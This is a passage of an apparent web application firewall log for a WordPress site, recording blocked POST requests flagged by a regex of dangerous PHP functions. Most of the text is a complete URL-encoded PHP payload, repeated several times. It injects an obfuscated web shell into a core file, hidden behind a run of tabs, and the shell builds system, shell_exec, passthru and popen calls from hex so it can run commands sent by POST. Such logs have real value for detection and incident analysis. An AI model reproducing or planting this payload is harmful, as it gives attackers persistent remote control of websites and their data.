2524item4.%2527865%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2527737%2527.%2527468%2527.%2527727%2527%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item5.%2527f70%2527.%2524item6%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524item7.%2524item6.%252716d%2527.%2524item8.%2524item9.%2524item10.%2524item11.%2524item12.%2524item13.%2527656%2527.%2527e74%2527%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item5.%2524item14.%2524item15.%2527365%2527%2529%253B%2524approve_request%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527617%2527.%2524item16.%2527726%2527.%2527f76%2527.%2527655%2527.%2524item17.%2527657%2527.%2524item18.%2527657%2527.%2524item19%2529%253Bif%2528isset%2528%2524_POST%255B%2524approve_request%255D%2529%2529%257B%2524approve_request%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524approve_request%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524approve_request%252C%2524dat_desc%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dat_desc%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524descriptor_binding%253D%2524right_pad_string5%2528%2524approve_request%252C%2522r%2522%2529%253Bif%2528%2524descriptor_binding%2529%257B%2524element_factor%253D%2524right_pad_string6%2528%2524descriptor_binding%2529%253B%2524right_pad_string7%2528%2524descriptor_binding%2529%253Bprint%2520%2524element_factor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:55:46","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> RB:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524item1%2520%253D%2520%2527737%2527%253B%2524item2%2520%253D%2520%2527746%2527%253B%2524item3%2520%253D%2520%2527865%2527%253B%2524item4%2520%253D%2520%2527657%2527%253B%2524item5%2520%253D%2520%2527706%2527%253B%2524item6%2520%253D%2520%2527656%2527%253B%2524item7%2520%253D%2520%2527472%2527%253B%2524item8%2520%253D%2520%25275f6%2527%253B%2524item9%2520%253D%2520%2527765%2527%253B%2524item10%2520%253D%2520%2527745%2527%253B%2524item11%2520%253D%2520%2527f63%2527%253B%2524item12%2520%253D%2520%25276f6%2527%253B%2524item13%2520%253D%2520%2527e74%2527%253B%2524item14%2520%253D%2520%252736c%2527%253B%2524item15%2520%253D%2520%25276f7%2527%253B%2524item16%2520%253D%2520%2527070%2527%253B%2524item17%2520%253D%2520%2527f72%2527%253B%2524item18%2520%253D%2520%2527175%2527%253B%2524item19%2520%253D%2520%2527374%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item1.%2527973%2527.%2524item2.%252756d%2527%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524item3.%25276c6%2527.%2527c5f%2527.%2524item4.%2527865%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2527737%2527.%2527468%2527.%2527727%2527%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item5.%2527f70%2527.%2524item6%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524item7.%2524item6.%252716d%2527.%2524item8.%2524item9.%2524item10.%2524item11.%2524item12.%2524item13.%2527656%2527.%2527e74%2527%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item5.%2524item14.%2524item15.%2527365%2527%2529%253B%2524approve_request%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527617%2527.%2524item16.%2527726%2527.%2527f76%2527.%2527655%2527.%2524item17.%2527657%2527.%2524item18.%2527657%2527.%2524item19%2529%253Bif%2528isset%2528%2524_POST%255B%2524approve_request%255D%2529%2529%257B%2524approve_request%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524approve_request%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524approve_request%252C%2524dat_desc%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dat_desc%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524descriptor_binding%253D%2524right_pad_string5%2528%2524approve_request%252C%2522r%2522%2529%253Bif%2528%2524descriptor_binding%2529%257B%2524element_factor%253D%2524right_pad_string6%2528%2524descriptor_binding%2529%253B%2524right_pad_string7%2528%2524descriptor_binding%2529%253Bprint%2520%2524element_factor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHxVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:6221\naccept:*\/*\naccept-encoding:gzip,deflate\n\nRB=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524item1%2520%253D%2520%2527737%2527%253B%2524item2%2520%253D%2520%2527746%2527%253B%2524item3%2520%253D%2520%2527865%2527%253B%2524item4%2520%253D%2520%2527657%2527%253B%2524item5%2520%253D%2520%2527706%2527%253B%2524item6%2520%253D%2520%2527656%2527%253B%2524item7%2520%253D%2520%2527472%2527%253B%2524item8%2520%253D%2520%25275f6%2527%253B%2524item9%2520%253D%2520%2527765%2527%253B%2524item10%2520%253D%2520%2527745%2527%253B%2524item11%2520%253D%2520%2527f63%2527%253B%2524item12%2520%253D%2520%25276f6%2527%253B%2524item13%2520%253D%2520%2527e74%2527%253B%2524item14%2520%253D%2520%252736c%2527%253B%2524item15%2520%253D%2520%25276f7%2527%253B%2524item16%2520%253D%2520%2527070%2527%253B%2524item17%2520%253D%2520%2527f72%2527%253B%2524item18%2520%253D%2520%2527175%2527%253B%2524item19%2520%253D%2520%2527374%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item1.%2527973%2527.%2524item2.%252756d%2527%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524item3.%25276c6%2527.%2527c5f%2527.%2524item4.%2527865%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2527737%2527.%2527468%2527.%2527727%2527%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item5.%2527f70%2527.%2524item6%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524item7.%2524item6.%252716d%2527.%2524item8.%2524item9.%2524item10.%2524item11.%2524item12.%2524item13.%2527656%2527.%2527e74%2527%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item5.%2524item14.%2524item15.%2527365%2527%2529%253B%2524approve_request%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527617%2527.%2524item16.%2527726%2527.%2527f76%2527.%2527655%2527.%2524item17.%2527657%2527.%2524item18.%2527657%2527.%2524item19%2529%253Bif%2528isset%2528%2524_POST%255B%2524approve_request%255D%2529%2529%257B%2524approve_request%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524approve_request%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524approve_request%252C%2524dat_desc%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dat_desc%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524descriptor_binding%253D%2524right_pad_string5%2528%2524approve_request%252C%2522r%2522%2529%253Bif%2528%2524descriptor_binding%2529%257B%2524element_factor%253D%2524right_pad_string6%2528%2524descriptor_binding%2529%253B%2524right_pad_string7%2528%2524descriptor_binding%2529%253Bprint%2520%2524element_factor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:55:47","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> pf:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524item1%2520%253D%2520%2527737%2527%253B%2524item2%2520%253D%2520%2527746%2527%253B%2524item3%2520%253D%2520%2527865%2527%253B%2524item4%2520%253D%2520%2527657%2527%253B%2524item5%2520%253D%2520%2527706%2527%253B%2524item6%2520%253D%2520%2527656%2527%253B%2524item7%2520%253D%2520%2527472%2527%253B%2524item8%2520%253D%2520%25275f6%2527%253B%2524item9%2520%253D%2520%2527765%2527%253B%2524item10%2520%253D%2520%2527745%2527%253B%2524item11%2520%253D%2520%2527f63%2527%253B%2524item12%2520%253D%2520%25276f6%2527%253B%2524item13%2520%253D%2520%2527e74%2527%253B%2524item14%2520%253D%2520%252736c%2527%253B%2524item15%2520%253D%2520%25276f7%2527%253B%2524item16%2520%253D%2520%2527070%2527%253B%2524item17%2520%253D%2520%2527f72%2527%253B%2524item18%2520%253D%2520%2527175%2527%253B%2524item19%2520%253D%2520%2527374%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item1.%2527973%2527.%2524item2.%252756d%2527%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524item3.%25276c6%2527.%2527c5f%2527.%2524item4.%2527865%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2527737%2527.%2527468%2527.%2527727%2527%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item5.%2527f70%2527.%2524item6%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524item7.%2524item6.%252716d%2527.%2524item8.%2524item9.%2524item10.%2524item11.%2524item12.%2524item13.%2527656%2527.%2527e74%2527%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item5.%2524item14.%2524item15.%2527365%2527%2529%253B%2524approve_request%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527617%2527.%2524item16.%2527726%2527.%2527f76%2527.%2527655%2527.%2524item17.%2527657%2527.%2524item18.%2527657%2527.%2524item19%2529%253Bif%2528isset%2528%2524_POST%255B%2524approve_request%255D%2529%2529%257B%2524approve_request%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524approve_request%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524approve_request%252C%2524dat_desc%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dat_desc%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524descriptor_binding%253D%2524right_pad_string5%2528%2524approve_request%252C%2522r%2522%2529%253Bif%2528%2524descriptor_binding%2529%257B%2524element_factor%253D%2524right_pad_string6%2528%2524descriptor_binding%2529%253B%2524right_pad_string7%2528%2524descriptor_binding%2529%253Bprint%2520%2524element_factor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpTLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:6221\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\n\npf=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524item1%2520%253D%2520%2527737%2527%253B%2524item2%2520%253D%2520%2527746%2527%253B%2524item3%2520%253D%2520%2527865%2527%253B%2524item4%2520%253D%2520%2527657%2527%253B%2524item5%2520%253D%2520%2527706%2527%253B%2524item6%2520%253D%2520%2527656%2527%253B%2524item7%2520%253D%2520%2527472%2527%253B%2524item8%2520%253D%2520%25275f6%2527%253B%2524item9%2520%253D%2520%2527765%2527%253B%2524item10%2520%253D%2520%2527745%2527%253B%2524item11%2520%253D%2520%2527f63%2527%253B%2524item12%2520%253D%2520%25276f6%2527%253B%2524item13%2520%253D%2520%2527e74%2527%253B%2524item14%2520%253D%2520%252736c%2527%253B%2524item15%2520%253D%2520%25276f7%2527%253B%2524item16%2520%253D%2520%2527070%2527%253B%2524item17%2520%253D%2520%2527f72%2527%253B%2524item18%2520%253D%2520%2527175%2527%253B%2524item19%2520%253D%2520%2527374%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item1.%2527973%2527.%2524item2.%252756d%2527%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524item3.%25276c6%2527.%2527c5f%2527.%2524item4.%2527865%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2527737%2527.%2527468%2527.%2527727%2527%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item5.%2527f70%2527.%2524item6%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524item7.%2524item6.%252716d%2527.%2524item8.%2524item9.%2524item10.%2524item11.%2524item12.%2524item13.%2527656%2527.%2527e74%2527%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item5.%2524item14.%2524item15.%2527365%2527%2529%253B%2524approve_request%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527617%2527.%2524item16.%2527726%2527.%2527f76%2527.%2527655%2527.%2524item17.%2527657%2527.%2524item18.%2527657%2527.%2524item19%2529%253Bif%2528isset%2528%2524_POST%255B%2524approve_request%255D%2529%2529%257B%2524approve_request%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524approve_request%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524approve_request%252C%2524dat_desc%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dat_desc%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524descriptor_binding%253D%2524right_pad_string5%2528%2524approve_request%252C%2522r%2522%2529%253Bif%2528%2524descriptor_binding%2529%257B%2524element_factor%253D%2524right_pad_string6%2528%2524descriptor_binding%2529%253B%2524right_pad_string7%2528%2524descriptor_binding%2529%253Bprint%2520%2524element_factor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:55:50","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 